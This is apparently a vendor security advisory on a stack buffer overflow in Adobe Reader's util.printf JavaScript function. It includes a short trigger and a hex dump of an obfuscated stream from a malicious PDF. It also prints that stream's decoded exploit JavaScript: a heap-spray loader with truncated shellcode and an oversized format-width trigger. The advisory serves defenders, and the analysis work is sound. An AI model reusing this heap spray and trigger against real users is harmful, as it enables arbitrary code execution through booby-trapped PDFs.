Adobe Reader util.printf Buffer Overflow
Adobe Reader (formerly Acrobat Reader) is a ubiquitous application for viewing PDF (Portable Document Format) documents.
Since version 4.0, Acrobat includes JavaScript functionality allowing for customization and extensibility. Acrobat JavaScript is an extension of the core JavaScript which adds Acrobat-specific classes that enable the author to manage document related tasks. These classes include app, dbg, console, SOAP, ADBC, util, etc.
The util object provides the printf method which takes as argument, a format string specifier and values to be formatted; then it returns the corresponding formatted string. For example:
var num = 12345
util.printf("%.2f", num)
We get 12345.00.
There exists a stack buffer overflow in Adobe Reader when parsing specially crafted PDF files. Specifically, the vulnerability is caused due to a boundary error when parsing format strings containing a floating point specifier in the "util.printf()" JavaScript function. If the format string contains specific width for a floating point number, the code will copy the padding spaces (0x20) to a stack-allocated buffer with fixed length. Supplying an overly large width will overflow the buffer with spaces and overwrite SEH. For Example:
var num = 1.2
util.printf("%5000f", num)
This causes the byte 0x20 to be copied 5000 times on the stack and overflows the buffer.
An attacker can exploit this vulnerability by enticing a user to open a PDF document, which contains a malformed floating point specifier in the "util.printf()" JavaScript function. Successful exploitation would allow for arbitrary code injection and execution with the privileges of the currently logged in user. Code injection that does not result in execution would terminate the application due to memory corruption.
To evade the detection of the attack an attacker might use obfuscate techniques. For example, one of the PDF files exploiting this vulnerability contains the following FlateDecode stream:
x48x89xACx57x6Dx8Bx14x31x0CxFEx2ExF8x27x0Ex06xEE
x10x64xB6x69xD3x19xFCxE4xEEx9ExFFx43x8Ex05x05xF1
xC4x53x7FxBFx4DxFAx96xA4x5DxCFx13x61x76xE8xA6xE9
xD3xE4xC9x4Bx3Bx97x5Fx1FxBFxDCxFExFCx7Ax79x7AxF8
xF8xEDx72x7Bx73xF3xE6x66x49xBFx88x0Bx1Ex78xE0x16
[…truncated]
xE3xC3xEDx8FxEFx3Fx2Fx77xEFx7Ex0Bx30x00xDAxDAxDC
xBB
Which would be decoded as:
function main() {
var sccs = unescape("%u03eb%ueb59%ue805%ufff8[...truncated]");
var bgbl = unescape("%u0A0A%u0A0A");
var slspc = 20 + sccs.length;
while(bgbl.length < slspc) bgbl += bgbl;
var fblk = bgbl.substring(0,slspc);
var blk = bgbl.substring(0,bgbl.length - slspc);
while(blk.length + slspc < 0x60000) blk = blk + blk + fblk;
var mmy = new Array();
for(i = 0; i < 1200; i++){ mmy[i] = blk + sccs }
var nm = 12;
for(i = 0; i < 18; i++){ nm = nm + "9"; }
for(i = 0; i < 276; i++){ nm = nm + "8"; }
util.printf("%45000f", nm);
this.closeDoc(true);
}
app.setTimeOut("main()", 5000);
SonicWALL Gateway AntiVirus provides protection against this vulnerability via GAV: PDF.util.printf.AS (Exploit) and PDF.util.printf.AS_2 (Exploit) signatures.